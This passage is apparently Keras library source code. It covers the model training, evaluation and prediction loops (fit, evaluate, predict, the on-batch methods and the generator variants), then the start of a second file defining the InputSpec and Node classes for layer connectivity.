            for batch_index, (batch_start, batch_end) in enumerate(batches):
                batch_ids = index_array[batch_start:batch_end]
                try:
                    if type(ins[-1]) is float:
                        # do not slice the training phase flag
                        ins_batch = slice_X(ins[:-1], batch_ids) + [ins[-1]]
                    else:
                        ins_batch = slice_X(ins, batch_ids)
                except TypeError:
                    raise Exception('TypeError while preparing batch. '
                                    'If using HDF5 input data, '
                                    'pass shuffle="batch".')
                batch_logs = {}
                batch_logs['batch'] = batch_index
                batch_logs['size'] = len(batch_ids)
                callbacks.on_batch_begin(batch_index, batch_logs)
                outs = f(ins_batch)
                if type(outs) != list:
                    outs = [outs]
                for l, o in zip(out_labels, outs):
                    batch_logs[l] = o

                callbacks.on_batch_end(batch_index, batch_logs)

                if batch_index == len(batches) - 1:  # last batch
                    # validation
                    if do_validation:
                        # replace with self._evaluate
                        val_outs = self._test_loop(val_f, val_ins,
                                                   batch_size=batch_size,
                                                   verbose=0)
                        if type(val_outs) != list:
                            val_outs = [val_outs]
                        # same labels assumed
                        for l, o in zip(out_labels, val_outs):
                            epoch_logs['val_' + l] = o
            callbacks.on_epoch_end(epoch, epoch_logs)
            if callback_model.stop_training:
                break
        callbacks.on_train_end()
        return self.history

    def _predict_loop(self, f, ins, batch_size=32, verbose=0):
        '''Abstract method to loop over some data in batches.

        # Arguments
            f: Keras function returning a list of tensors.
            ins: list of tensors to be fed to `f`.
            batch_size: integer batch size.
            verbose: verbosity mode.

        # Returns
            Array of predictions (if the model has a single output)
            or list of arrays of predictions
            (if the model has multiple outputs).
        '''
        nb_sample = len(ins[0])
        outs = []
        if verbose == 1:
            progbar = Progbar(target=nb_sample)
        batches = make_batches(nb_sample, batch_size)
        index_array = np.arange(nb_sample)
        for batch_index, (batch_start, batch_end) in enumerate(batches):
            batch_ids = index_array[batch_start:batch_end]
            if type(ins[-1]) is float:
                # do not slice the training phase flag
                ins_batch = slice_X(ins[:-1], batch_ids) + [ins[-1]]
            else:
                ins_batch = slice_X(ins, batch_ids)

            batch_outs = f(ins_batch)
            if type(batch_outs) != list:
                batch_outs = [batch_outs]
            if batch_index == 0:
                for batch_out in batch_outs:
                    shape = (nb_sample,) + batch_out.shape[1:]
                    outs.append(np.zeros(shape, dtype=K.floatx()))

            for i, batch_out in enumerate(batch_outs):
                outs[i][batch_start:batch_end] = batch_out
            if verbose == 1:
                progbar.update(batch_end)
        if len(outs) == 1:
            return outs[0]
        return outs

    def _test_loop(self, f, ins, batch_size=32, verbose=0):
        '''Abstract method to loop over some data in batches.

        # Arguments
            f: Keras function returning a list of tensors.
            ins: list of tensors to be fed to `f`.
            batch_size: integer batch size.
            verbose: verbosity mode.

        # Returns
            Scalar loss (if the model has a single output and no metrics)
            or list of scalars (if the model has multiple outputs
            and/or metrics). The attribute `model.metrics_names` will give you
            the display labels for the scalar outputs.
        '''
        nb_sample = len(ins[0])
        outs = []
        if verbose == 1:
            progbar = Progbar(target=nb_sample)
        batches = make_batches(nb_sample, batch_size)
        index_array = np.arange(nb_sample)
        for batch_index, (batch_start, batch_end) in enumerate(batches):
            batch_ids = index_array[batch_start:batch_end]
            if type(ins[-1]) is float:
                # do not slice the training phase flag
                ins_batch = slice_X(ins[:-1], batch_ids) + [ins[-1]]
            else:
                ins_batch = slice_X(ins, batch_ids)

            batch_outs = f(ins_batch)
            if type(batch_outs) == list:
                if batch_index == 0:
                    for batch_out in enumerate(batch_outs):
                        outs.append(0.)
                for i, batch_out in enumerate(batch_outs):
                    outs[i] += batch_out * len(batch_ids)
            else:
                if batch_index == 0:
                    outs.append(0.)
                outs[0] += batch_outs * len(batch_ids)

            if verbose == 1:
                progbar.update(batch_end)
        for i, out in enumerate(outs):
            outs[i] /= nb_sample
        if len(outs) == 1:
            return outs[0]
        return outs

    def _standardize_user_data(self, x, y,
                               sample_weight=None, class_weight=None,
                               check_batch_dim=True, batch_size=None):
        if not hasattr(self, 'optimizer'):
            raise Exception('You must compile a model before training/testing.'
                            ' Use `model.compile(optimizer, loss)`.')

        output_shapes = []
        for output_shape, loss_fn in zip(self.internal_output_shapes, self.loss_functions):
            if loss_fn.__name__ == 'sparse_categorical_crossentropy':
                output_shapes.append(output_shape[:-1] + (1,))
            elif getattr(objectives, loss_fn.__name__, None) is None:
                output_shapes.append(None)
            else:
                output_shapes.append(output_shape)
        x = standardize_input_data(x, self.input_names,
                                   self.internal_input_shapes,
                                   check_batch_dim=False,
                                   exception_prefix='model input')
        y = standardize_input_data(y, self.output_names,
                                   output_shapes,
                                   check_batch_dim=False,
                                   exception_prefix='model target')
        sample_weights = standardize_sample_weights(sample_weight,
                                                    self.output_names)
        class_weights = standardize_class_weights(class_weight,
                                                  self.output_names)
        sample_weights = [standardize_weights(ref, sw, cw, mode)
                          for (ref, sw, cw, mode)
                          in zip(y, sample_weights, class_weights, self.sample_weight_modes)]
        check_array_lengths(x, y, sample_weights)
        check_loss_and_target_compatibility(y, self.loss_functions, self.internal_output_shapes)
        if self.stateful and batch_size:
            if x[0].shape[0] % batch_size != 0:
                raise Exception('In a stateful network, '
                                'you should only pass inputs with '
                                'a number of samples that can be '
                                'divided by the batch size. Found: ' +
                                str(x[0].shape[0]) + ' samples')
        return x, y, sample_weights

    def fit(self, x, y, batch_size=32, nb_epoch=10, verbose=1, callbacks=[],
            validation_split=0., validation_data=None, shuffle=True,
            class_weight=None, sample_weight=None):
        '''Trains the model for a fixed number of epochs (iterations on a dataset).

        # Arguments
            x: Numpy array of training data,
                or list of Numpy arrays if the model has multiple inputs.
                If all inputs in the model are named, you can also pass a dictionary
                mapping input names to Numpy arrays.
            y: Numpy array of target data,
                or list of Numpy arrays if the model has multiple outputs.
                If all outputs in the model are named, you can also pass a dictionary
                mapping output names to Numpy arrays.
            batch_size: integer. Number of samples per gradient update.
            nb_epoch: integer, the number of times to iterate over the training data arrays.
            verbose: 0, 1, or 2. Verbosity mode. 0 = silent, 1 = verbose, 2 = one log line per epoch.
            callbacks: list of callbacks to be called during training.
                See [callbacks](/callbacks).
            validation_split: float between 0 and 1:
                fraction of the training data to be used as validation data.
                The model will set apart this fraction of the training data,
                will not train on it, and will evaluate the loss and any model metrics
                on this data at the end of each epoch.
            validation_data: data on which to evaluate the loss and any model metrics
                at the end of each epoch. The model will not be trained on this data.
                This could be a tuple (x_val, y_val) or a tuple (val_x, val_y, val_sample_weights).
            shuffle: boolean, whether to shuffle the training data before each epoch.
            class_weight: optional dictionary mapping class indices (integers) to
                a weight (float) to apply to the model's loss for the samples
                from this class during training.
                This can be useful to tell the model to "pay more attention" to
                samples from an under-represented class.
            sample_weight: optional array of the same length as x, containing
                weights to apply to the model's loss for each sample.
                In the case of temporal data, you can pass a 2D array
                with shape (samples, sequence_length),
                to apply a different weight to every timestep of every sample.
                In this case you should make sure to specify sample_weight_mode="temporal" in compile().


        # Returns
            A `History` instance. Its `history` attribute contains
            all information collected during training.
        '''
        # validate user data
        x, y, sample_weights = self._standardize_user_data(x, y,
                                                           sample_weight=sample_weight,
                                                           class_weight=class_weight,
                                                           check_batch_dim=False,
                                                           batch_size=batch_size)
        # prepare validation data
        if validation_data:
            do_validation = True
            if len(validation_data) == 2:
                val_x, val_y = validation_data
                val_sample_weight = None
            elif len(validation_data) == 3:
                val_x, val_y, val_sample_weight = validation_data
            else:
                raise
            val_x, val_y, val_sample_weights = self._standardize_user_data(val_x, val_y,
                                                                           sample_weight=val_sample_weight,
                                                                           check_batch_dim=False,
                                                                           batch_size=batch_size)
            self._make_test_function()
            val_f = self.test_function
            if self.uses_learning_phase and type(K.learning_phase()) is not int:
                val_ins = val_x + val_y + val_sample_weights + [0.]
            else:
                val_ins = val_x + val_y + val_sample_weights

        elif validation_split and 0. < validation_split < 1.:
            do_validation = True
            split_at = int(len(x[0]) * (1. - validation_split))
            x, val_x = (slice_X(x, 0, split_at), slice_X(x, split_at))
            y, val_y = (slice_X(y, 0, split_at), slice_X(y, split_at))
            sample_weights, val_sample_weights = (
                slice_X(sample_weights, 0, split_at), slice_X(sample_weights, split_at))
            self._make_test_function()
            val_f = self.test_function
            if self.uses_learning_phase and type(K.learning_phase()) is not int:
                val_ins = val_x + val_y + val_sample_weights + [0.]
            else:
                val_ins = val_x + val_y + val_sample_weights
        else:
            do_validation = False
            val_f = None
            val_ins = None

        # prepare input arrays and training function
        if self.uses_learning_phase and type(K.learning_phase()) is not int:
            ins = x + y + sample_weights + [1.]
        else:
            ins = x + y + sample_weights
        self._make_train_function()
        f = self.train_function

        # prepare display labels
        out_labels = self.metrics_names

        # rename duplicated metrics name
        # (can happen with an output layer shared among multiple dataflows)
        deduped_out_labels = []
        for i, label in enumerate(out_labels):
            new_label = label
            if out_labels.count(label) > 1:
                dup_idx = out_labels[:i].count(label)
                new_label += '_' + str(dup_idx + 1)
            deduped_out_labels.append(new_label)
        out_labels = deduped_out_labels

        if do_validation:
            callback_metrics = copy.copy(out_labels) + ['val_' + n for n in out_labels]
        else:
            callback_metrics = copy.copy(out_labels)

        # delegate logic to _fit_loop
        return self._fit_loop(f, ins, out_labels=out_labels,
                              batch_size=batch_size, nb_epoch=nb_epoch,
                              verbose=verbose, callbacks=callbacks,
                              val_f=val_f, val_ins=val_ins, shuffle=shuffle,
                              callback_metrics=callback_metrics)

    def evaluate(self, x, y, batch_size=32, verbose=1, sample_weight=None):
        '''Returns the loss value and metrics values for the model
        in test mode. Computation is done in batches.

        # Arguments
            x: Numpy array of test data,
                or list of Numpy arrays if the model has multiple inputs.
                If all inputs in the model are named, you can also pass a dictionary
                mapping input names to Numpy arrays.
            y: Numpy array of target data,
                or list of Numpy arrays if the model has multiple outputs.
                If all outputs in the model are named, you can also pass a dictionary
                mapping output names to Numpy arrays.
            batch_size: integer. Number of samples per gradient update.

        # Returns
            Scalar test loss (if the model has a single output and no metrics)
            or list of scalars (if the model has multiple outputs
            and/or metrics). The attribute `model.metrics_names` will give you
            the display labels for the scalar outputs.
        '''
        # validate user data
        x, y, sample_weights = self._standardize_user_data(x, y,
                                                           sample_weight=sample_weight,
                                                           check_batch_dim=False,
                                                           batch_size=batch_size)
        # prepare inputs, delegate logic to _test_loop
        if self.uses_learning_phase and type(K.learning_phase()) is not int:
            ins = x + y + sample_weights + [0.]
        else:
            ins = x + y + sample_weights
        self._make_test_function()
        f = self.test_function
        return self._test_loop(f, ins,
                               batch_size=batch_size,
                               verbose=verbose)

    def predict(self, x, batch_size=32, verbose=0):
        '''Generates output predictions for the input samples,
        processing the samples in a batched way.

        # Arguments
            x: the input data, as a Numpy array
                (or list of Numpy arrays if the model has multiple outputs).
            batch_size: integer.
            verbose: verbosity mode, 0 or 1.

        # Returns
            A Numpy array of predictions.
        '''
        # validate user data
        x = standardize_input_data(x, self.input_names,
                                   self.internal_input_shapes,
                                   check_batch_dim=False)
        if self.stateful:
            if x[0].shape[0] > batch_size and x[0].shape[0] % batch_size != 0:
                raise Exception('In a stateful network, '
                                'you should only pass inputs with '
                                'a number of samples that can be '
                                'divided by the batch size. Found: ' +
                                str(x[0].shape[0]) + ' samples. '
                                'Batch size: ' + str(batch_size) + '.')

        # prepare inputs, delegate logic to _predict_loop
        if self.uses_learning_phase and type(K.learning_phase()) is not int:
            ins = x + [0.]
        else:
            ins = x
        self._make_predict_function()
        f = self.predict_function
        return self._predict_loop(f, ins,
                                  batch_size=batch_size, verbose=verbose)

    def train_on_batch(self, x, y,
                       sample_weight=None, class_weight=None):
        '''Runs a single gradient update on a single batch of data.

        # Arguments
            x: Numpy array of training data,
                or list of Numpy arrays if the model has multiple inputs.
                If all inputs in the model are named, you can also pass a dictionary
                mapping input names to Numpy arrays.
            y: Numpy array of target data,
                or list of Numpy arrays if the model has multiple outputs.
                If all outputs in the model are named, you can also pass a dictionary
                mapping output names to Numpy arrays.
            sample_weight: optional array of the same length as x, containing
                weights to apply to the model's loss for each sample.
                In the case of temporal data, you can pass a 2D array
                with shape (samples, sequence_length),
                to apply a different weight to every timestep of every sample.
                In this case you should make sure to specify sample_weight_mode="temporal" in compile().
            class_weight: optional dictionary mapping class indices (integers) to
                a weight (float) to apply to the model's loss for the samples
                from this class during training.
                This can be useful to tell the model to "pay more attention" to
                samples from an under-represented class.

        # Returns
            Scalar training loss (if the model has a single output and no metrics)
            or list of scalars (if the model has multiple outputs
            and/or metrics). The attribute `model.metrics_names` will give you
            the display labels for the scalar outputs.
        '''
        x, y, sample_weights = self._standardize_user_data(x, y,
                                                           sample_weight=sample_weight,
                                                           class_weight=class_weight,
                                                           check_batch_dim=True)
        if self.uses_learning_phase and type(K.learning_phase()) is not int:
            ins = x + y + sample_weights + [1.]
        else:
            ins = x + y + sample_weights
        self._make_train_function()
        outputs = self.train_function(ins)
        if len(outputs) == 1:
            return outputs[0]
        return outputs

    def test_on_batch(self, x, y, sample_weight=None):
        '''Test the model on a single batch of samples.

        # Arguments
            x: Numpy array of test data,
                or list of Numpy arrays if the model has multiple inputs.
                If all inputs in the model are named, you can also pass a dictionary
                mapping input names to Numpy arrays.
            y: Numpy array of target data,
                or list of Numpy arrays if the model has multiple outputs.
                If all outputs in the model are named, you can also pass a dictionary
                mapping output names to Numpy arrays.
            sample_weight: optional array of the same length as x, containing
                weights to apply to the model's loss for each sample.
                In the case of temporal data, you can pass a 2D array
                with shape (samples, sequence_length),
                to apply a different weight to every timestep of every sample.
                In this case you should make sure to specify sample_weight_mode="temporal" in compile().

        # Returns
            Scalar test loss (if the model has a single output and no metrics)
            or list of scalars (if the model has multiple outputs
            and/or metrics). The attribute `model.metrics_names` will give you
            the display labels for the scalar outputs.
        '''
        x, y, sample_weights = self._standardize_user_data(x, y,
                                                           sample_weight=sample_weight,
                                                           check_batch_dim=True)
        if self.uses_learning_phase and type(K.learning_phase()) is not int:
            ins = x + y + sample_weights + [0.]
        else:
            ins = x + y + sample_weights
        self._make_test_function()
        outputs = self.test_function(ins)
        if len(outputs) == 1:
            return outputs[0]
        return outputs

    def predict_on_batch(self, x):
        '''Returns predictions for a single batch of samples.
        '''
        x = standardize_input_data(x, self.input_names,
                                   self.internal_input_shapes)
        if self.uses_learning_phase and type(K.learning_phase()) is not int:
            ins = x + [0.]
        else:
            ins = x
        self._make_predict_function()
        outputs = self.predict_function(ins)
        if len(outputs) == 1:
            return outputs[0]
        return outputs

    def fit_generator(self, generator, samples_per_epoch, nb_epoch,
                      verbose=1, callbacks=[],
                      validation_data=None, nb_val_samples=None,
                      class_weight={}, max_q_size=10, nb_worker=1, pickle_safe=False):
        '''Fits the model on data generated batch-by-batch by
        a Python generator.
        The generator is run in parallel to the model, for efficiency.
        For instance, this allows you to do real-time data augmentation
        on images on CPU in parallel to training your model on GPU.

        # Arguments
            generator: a generator.
                The output of the generator must be either
                - a tuple (inputs, targets)
                - a tuple (inputs, targets, sample_weights).
                All arrays should contain the same number of samples.
                The generator is expected to loop over its data
                indefinitely. An epoch finishes when `samples_per_epoch`
                samples have been seen by the model.
            samples_per_epoch: integer, number of samples to process before
                going to the next epoch.
            nb_epoch: integer, total number of iterations on the data.
            verbose: verbosity mode, 0, 1, or 2.
            callbacks: list of callbacks to be called during training.
            validation_data: this can be either
                - a generator for the validation data
                - a tuple (inputs, targets)
                - a tuple (inputs, targets, sample_weights).
            nb_val_samples: only relevant if `validation_data` is a generator.
                number of samples to use from validation generator
                at the end of every epoch.
            class_weight: dictionary mapping class indices to a weight
                for the class.
            max_q_size: maximum size for the generator queue
            nb_worker: maximum number of processes to spin up when using process based threading
            pickle_safe: if True, use process based threading. Note that because
                this implementation relies on multiprocessing, you should not pass
                non picklable arguments to the generator as they can't be passed
                easily to children processes.

        # Returns
            A `History` object.

        # Example

        ```python
            def generate_arrays_from_file(path):
                while 1:
                    f = open(path)
                    for line in f:
                        # create numpy arrays of input data
                        # and labels, from each line in the file
                        x1, x2, y = process_line(line)
                        yield ({'input_1': x1, 'input_2': x2}, {'output': y})
                    f.close()

            model.fit_generator(generate_arrays_from_file('/my_file.txt'),
                                samples_per_epoch=10000, nb_epoch=10)
        ```
        '''
        wait_time = 0.01  # in seconds
        epoch = 0

        do_validation = bool(validation_data)
        self._make_train_function()
        if do_validation:
            self._make_test_function()

        # python 2 has 'next', 3 has '__next__'
        # avoid any explicit version checks
        val_gen = (hasattr(validation_data, 'next') or
                   hasattr(validation_data, '__next__'))
        if val_gen and not nb_val_samples:
            raise Exception('When using a generator for validation data, '
                            'you must specify a value for "nb_val_samples".')

        out_labels = self.metrics_names
        callback_metrics = out_labels + ['val_' + n for n in out_labels]

        # prepare callbacks
        self.history = cbks.History()
        callbacks = [cbks.BaseLogger()] + callbacks + [self.history]
        if verbose:
            callbacks += [cbks.ProgbarLogger()]
        callbacks = cbks.CallbackList(callbacks)

        # it's possible to callback a different model than self:
        if hasattr(self, 'callback_model') and self.callback_model:
            callback_model = self.callback_model
        else:
            callback_model = self
        callbacks._set_model(callback_model)
        callbacks._set_params({
            'nb_epoch': nb_epoch,
            'nb_sample': samples_per_epoch,
            'verbose': verbose,
            'do_validation': do_validation,
            'metrics': callback_metrics,
        })
        callbacks.on_train_begin()

        if do_validation and not val_gen:
            if len(validation_data) == 2:
                val_x, val_y = validation_data
                val_sample_weight = None
            elif len(validation_data) == 3:
                val_x, val_y, val_sample_weight = validation_data
            else:
                raise Exception('validation_data should be a tuple '
                                '(val_x, val_y, val_sample_weight) '
                                'or (val_x, val_y). Found: ' + str(validation_data))
            val_x, val_y, val_sample_weights = self._standardize_user_data(val_x, val_y, val_sample_weight)
            self.validation_data = val_x + [val_y, val_sample_weights]
        else:
            self.validation_data = None

        # start generator thread storing batches into a queue
        data_gen_queue, _stop = generator_queue(generator, max_q_size=max_q_size, nb_worker=nb_worker,
                                                pickle_safe=pickle_safe)

        callback_model.stop_training = False
        while epoch < nb_epoch:
            callbacks.on_epoch_begin(epoch)
            samples_seen = 0
            batch_index = 0
            while samples_seen < samples_per_epoch:
                generator_output = None
                while not _stop.is_set():
                    if not data_gen_queue.empty():
                        generator_output = data_gen_queue.get()
                        break
                    else:
                        time.sleep(wait_time)

                if not hasattr(generator_output, '__len__'):
                    _stop.set()
                    raise Exception('output of generator should be a tuple '
                                    '(x, y, sample_weight) '
                                    'or (x, y). Found: ' + str(generator_output))
                if len(generator_output) == 2:
                    x, y = generator_output
                    sample_weight = None
                elif len(generator_output) == 3:
                    x, y, sample_weight = generator_output
                else:
                    _stop.set()
                    raise Exception('output of generator should be a tuple '
                                    '(x, y, sample_weight) '
                                    'or (x, y). Found: ' + str(generator_output))
                # build batch logs
                batch_logs = {}
                if type(x) is list:
                    batch_size = len(x[0])
                elif type(x) is dict:
                    batch_size = len(list(x.values())[0])
                else:
                    batch_size = len(x)
                batch_logs['batch'] = batch_index
                batch_logs['size'] = batch_size
                callbacks.on_batch_begin(batch_index, batch_logs)

                try:
                    outs = self.train_on_batch(x, y,
                                               sample_weight=sample_weight,
                                               class_weight=class_weight)
                except:
                    _stop.set()
                    raise

                if type(outs) != list:
                    outs = [outs]
                for l, o in zip(out_labels, outs):
                    batch_logs[l] = o

                callbacks.on_batch_end(batch_index, batch_logs)

                # construct epoch logs
                epoch_logs = {}
                batch_index += 1
                samples_seen += batch_size

                # epoch finished
                if samples_seen > samples_per_epoch:
                    warnings.warn('Epoch comprised more than '
                                  '`samples_per_epoch` samples, '
                                  'which might affect learning results. '
                                  'Set `samples_per_epoch` correctly '
                                  'to avoid this warning.')
                if samples_seen >= samples_per_epoch and do_validation:
                    if val_gen:
                        val_outs = self.evaluate_generator(validation_data,
                                                           nb_val_samples,
                                                           max_q_size=max_q_size)
                    else:
                        # no need for try/except because
                        # data has already been validated
                        val_outs = self.evaluate(val_x, val_y,
                                                 sample_weight=val_sample_weights,
                                                 verbose=0)
                    if type(val_outs) is not list:
                        val_outs = [val_outs]
                    # same labels assumed
                    for l, o in zip(out_labels, val_outs):
                        epoch_logs['val_' + l] = o

            callbacks.on_epoch_end(epoch, epoch_logs)
            epoch += 1
            if callback_model.stop_training:
                break

        _stop.set()
        if pickle_safe:
            data_gen_queue.close()
        callbacks.on_train_end()
        return self.history

    def evaluate_generator(self, generator, val_samples, max_q_size=10, nb_worker=1, pickle_safe=False):
        '''Evaluates the model on a data generator. The generator should
        return the same kind of data as accepted by `test_on_batch`.

        Arguments:
            generator:
                generator yielding tuples (inputs, targets)
                or (inputs, targets, sample_weights)
            val_samples:
                total number of samples to generate from `generator`
                before returning.
            max_q_size: maximum size for the generator queue
            nb_worker: maximum number of processes to spin up when using process based threading
            pickle_safe: if True, use process based threading. Note that because
                this implementation relies on multiprocessing, you should not pass
                non picklable arguments to the generator as they can't be passed
                easily to children processes.

        # Returns
            Scalar test loss (if the model has a single output and no metrics)
            or list of scalars (if the model has multiple outputs
            and/or metrics). The attribute `model.metrics_names` will give you
            the display labels for the scalar outputs.
        '''
        self._make_test_function()

        processed_samples = 0
        wait_time = 0.01
        all_outs = []
        weights = []
        data_gen_queue, _stop = generator_queue(generator, max_q_size=max_q_size, nb_worker=nb_worker,
                                                pickle_safe=pickle_safe)

        while processed_samples < val_samples:
            generator_output = None
            while not _stop.is_set():
                if not data_gen_queue.empty():
                    generator_output = data_gen_queue.get()
                    break
                else:
                    time.sleep(wait_time)

            if not hasattr(generator_output, '__len__'):
                _stop.set()
                raise Exception('output of generator should be a tuple '
                                '(x, y, sample_weight) '
                                'or (x, y). Found: ' + str(generator_output))
            if len(generator_output) == 2:
                x, y = generator_output
                sample_weight = None
            elif len(generator_output) == 3:
                x, y, sample_weight = generator_output
            else:
                _stop.set()
                raise Exception('output of generator should be a tuple '
                                '(x, y, sample_weight) '
                                'or (x, y). Found: ' + str(generator_output))
            try:
                outs = self.test_on_batch(x, y, sample_weight=sample_weight)
            except:
                _stop.set()
                raise

            if type(x) is list:
                nb_samples = len(x[0])
            elif type(x) is dict:
                nb_samples = len(list(x.values())[0])
            else:
                nb_samples = len(x)
            all_outs.append(outs)

            processed_samples += nb_samples
            weights.append(nb_samples)

        _stop.set()
        if pickle_safe:
            data_gen_queue.close()
        if type(outs) is not list:
            return np.average(np.asarray(all_outs),
                              weights=weights)
        else:
            averages = []
            for i in range(len(outs)):
                averages.append(np.average([out[i] for out in all_outs],
                                           weights=weights))
            return averages

    def predict_generator(self, generator, val_samples, max_q_size=10, nb_worker=1, pickle_safe=False):
        '''Generates predictions for the input samples from a data generator.
        The generator should return the same kind of data as accepted by
        `predict_on_batch`.

        # Arguments
            generator: generator yielding batches of input samples.
            val_samples: total number of samples to generate from `generator`
                before returning.
            max_q_size: maximum size for the generator queue
            nb_worker: maximum number of processes to spin up when using process based threading
            pickle_safe: if True, use process based threading. Note that because
                this implementation relies on multiprocessing, you should not pass
                non picklable arguments to the generator as they can't be passed
                easily to children processes.

        # Returns
            Numpy array(s) of predictions.
        '''
        self._make_predict_function()

        processed_samples = 0
        wait_time = 0.01
        all_outs = []
        data_gen_queue, _stop = generator_queue(generator, max_q_size=max_q_size, nb_worker=nb_worker,
                                                pickle_safe=pickle_safe)

        while processed_samples < val_samples:
            generator_output = None
            while not _stop.is_set():
                if not data_gen_queue.empty():
                    generator_output = data_gen_queue.get()
                    break
                else:
                    time.sleep(wait_time)

            if isinstance(generator_output, tuple):
                if len(generator_output) == 2:
                    x, y = generator_output
                    sample_weight = None
                elif len(generator_output) == 3:
                    x, y, sample_weight = generator_output
                else:
                    _stop.set()
                    raise Exception('output of generator should be a tuple '
                                    '(x, y, sample_weight) '
                                    'or (x, y). Found: ' + str(generator_output))
            else:
                x = generator_output

            try:
                outs = self.predict_on_batch(x)
            except:
                _stop.set()
                raise

            if type(x) is list:
                nb_samples = len(x[0])
            elif type(x) is dict:
                nb_samples = len(list(x.values())[0])
            else:
                nb_samples = len(x)

            if type(outs) != list:
                outs = [outs]

            if len(all_outs) == 0:
                for out in outs:
                    shape = (val_samples,) + out.shape[1:]
                    all_outs.append(np.zeros(shape, dtype=K.floatx()))

            for i, out in enumerate(outs):
                all_outs[i][processed_samples:(processed_samples + nb_samples)] = out

            processed_samples += nb_samples

        _stop.set()
        if pickle_safe:
            data_gen_queue.close()
        if len(all_outs) == 1:
            return all_outs[0]
        return all_outs






# -*- coding: utf-8 -*-
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division

import numpy as np

import sys
import marshal
import types as python_types
import warnings
import copy
import os
from six.moves import zip

from .. import backend as K
from ..utils.io_utils import ask_to_proceed_with_overwrite


def to_list(x):
    '''This normalizes a list/tensor into a list.

    If a tensor is passed, we return
    a list of size 1 containing the tensor.
    '''
    if type(x) is list:
        return x
    return [x]


class InputSpec(object):
    '''This specifies the ndim, dtype and shape of every input to a layer.
    Every layer should expose (if appropriate) an `input_spec` attribute:
    a list of instances of InputSpec (one per input tensor).

    A None entry in a shape is compatible with any dimension,
    a None shape is compatible with any shape.
    '''
    def __init__(self, dtype=None, shape=None, ndim=None):
        if type(ndim) is str:
            assert '+' in ndim, 'When passing a str "ndim", it should have the form "2+", "3+", etc.'
            int_ndim = ndim[:ndim.find('+')]
            assert int_ndim.isdigit(), 'When passing a str "ndim", it should have the form "2+", "3+", etc.'
        if shape is not None:
            self.ndim = len(shape)
        else:
            self.ndim = ndim
        self.dtype = dtype
        self.shape = shape


class Node(object):
    '''A `Node` describes the connectivity between two layers.

    Each time a layer is connected to some new input,
    a node is added to `layer.inbound_nodes`.
    Each time the output of a layer is used by another layer,
    a node is added to `layer.outbound_nodes`.

    # Attributes
        outbound_layer: the layer that takes
            `input_tensors` and turns them into `output_tensors`.
        inbound_layers: a list of layers, the same length as `input_tensors`,
            the layers from where `input_tensors` originate.
        node_indices: a list of integers, the same length as `inbound_layers`.
            `node_indices[i]` is the origin node of `input_tensors[i]`
            (necessary since each inbound layer might have several nodes,
            e.g. if the layer is being shared with a different data stream).
        tensor_indices: a list of integers, the same length as `inbound_layers`.
            `tensor_indices[i]` is the index of `input_tensors[i]` within the
            output of the inbound layer (necessary since each inbound layer might
            have multiple tensor outputs, with each one being
            independently manipulable).
        input_tensors: list of input tensors.
        output_tensors: list of output tensors.
        input_masks: list of input masks (a mask can be a tensor, or None).
        output_masks: list of output masks (a mask can be a tensor, or None).
        input_shapes: list of input shape tuples.
        output_shapes: list of output shape tuples.

    `node_indices` and `tensor_indices` are basically fine-grained coordinates
    describing the origin of the `input_tensors`, verifying the following:

    `input_tensors[i] == inbound_layers[i].inbound_nodes[node_indices[i]].output_tensors[tensor_indices[i]]`

    A node from layer A to layer B is added to:
        A.outbound_nodes
        B.inbound_nodes
    '''
    def __init__(self, outbound_layer,
                 inbound_layers, node_indices, tensor_indices,
                 input_tensors, output_tensors,
                 input_masks, output_masks,
                 input_shapes, output_shapes):
        # layer instance (NOT a list).
        # this is the layer that takes a list of input tensors
        # and turns them into a list of output tensors.
        # the current node will be added to the inbound_nodes of outbound_layer
        self.outbound_layer = outbound_layer

        # the following 3 properties describe where
        # the input tensors come from: which layers,
        # and for each layer, which node and which
        # tensor output of each node.
        self.inbound_layers = inbound_layers  # list of layer instances
        self.node_indices = node_indices  # list of integers, 1:1 mapping with inbound_layers
        self.tensor_indices = tensor_indices  # list of integers, 1:1 mapping with inbound_layers

        # tensor inputs and outputs of outbound_layer
        self.input_tensors = input_tensors  # list of tensors. 1:1 mapping with inbound_layers
        self.output_tensors = output_tensors  # list of tensors, created by outbound_layer.call()

        # input and output masks
        self.input_masks = input_masks  # list of tensors, 1:1 mapping with input_tensor
        self.output_masks = output_masks  # list of tensors, created by outbound_layer.compute_mask()

        # input and output shapes
        self.input_shapes = input_shapes  # list of shape tuples, shapes of input_tensors
        self.output_shapes = output_shapes  # list of shape tuples, shapes of output_tensors

        # add nodes to all layers involved.
        for layer in inbound_layers:
            if layer is not None:
                layer.outbound_nodes.append(self)
        outbound_layer.inbound_nodes.append(self)

    @classmethod
    def create_node(cls, outbound_layer,
                    inbound_layers, node_indices=None, tensor_indices=None):
        if not node_indices:
            node_indices = [0 for _ in range(len(inbound_layers))]
        else:
            assert len(node_indices) == len(inbound_layers)
        if not tensor_indices:
            tensor_indices = [0 for _ in range(len(inbound_layers))]

        input_tensors = []
        input_masks = []
        input_shapes = []

        for inbound_layer, node_index, tensor_index in zip(inbound_layers, node_indices, tensor_indices):
            inbound_node = inbound_layer.inbound_nodes[node_index]
            input_tensors.append(inbound_node.output_tensors[tensor_index])
            input_masks.append(inbound_node.output_masks[tensor_index])
            input_shapes.append(inbound_node.output_shapes[tensor_index])

        assert len(input_shapes) == len(input_tensors) == len(input_masks)

        if len(input_tensors) == 1:
            output_tensors = to_list(outbound_layer.call(input_tensors[0], mask=input_masks[0]))
            output_masks = to_list(outbound_layer.compute_mask(input_tensors[0], input_masks[0]))
            # TODO: try to auto-infer shape if exception is raised by get_output_shape_for
            output_shapes = to_list(outbound_layer.get_output_shape_for(input_shapes[0]))
        else:
            output_tensors = to_list(outbound_layer.call(input_tensors, mask=input_masks))
            output_masks = to_list(outbound_layer.compute_mask(input_tensors, input_masks))
            output_shapes = to_list(outbound_layer.get_output_shape_for(input_shapes))

        if not output_tensors or output_tensors[0] is None:
            raise Exception('The `call` method of layer "' +
                            outbound_layer.name +
                            '" should return a tensor. Found: ' +
                            str(output_tensors[0]))
        if len(output_tensors) != len(output_shapes):
            raise Exception('The `get_output_shape_for` method of layer "' +
                            outbound_layer.name +
                            '"" should return one shape tuple per '
                            'output tensor of the layer. Found: ' +
                            str(output_shapes))
        if len(output_tensors) != len(output_masks):
            raise Exception('The `compute_mask` method of layer "' +
                            outbound_layer.name +
                            '" should return one mask tensor per '
                            'output tensor of the layer. Found: ' +
                            str(output_masks))

        for i in range(len(output_tensors)):
            output_tensors[i]._keras_shape = output_shapes[i]
            output_tensors[i]._uses_learning_phase = any([x._uses_learning_phase for x in input_tensors]) or outbound_layer.uses_learning_phase
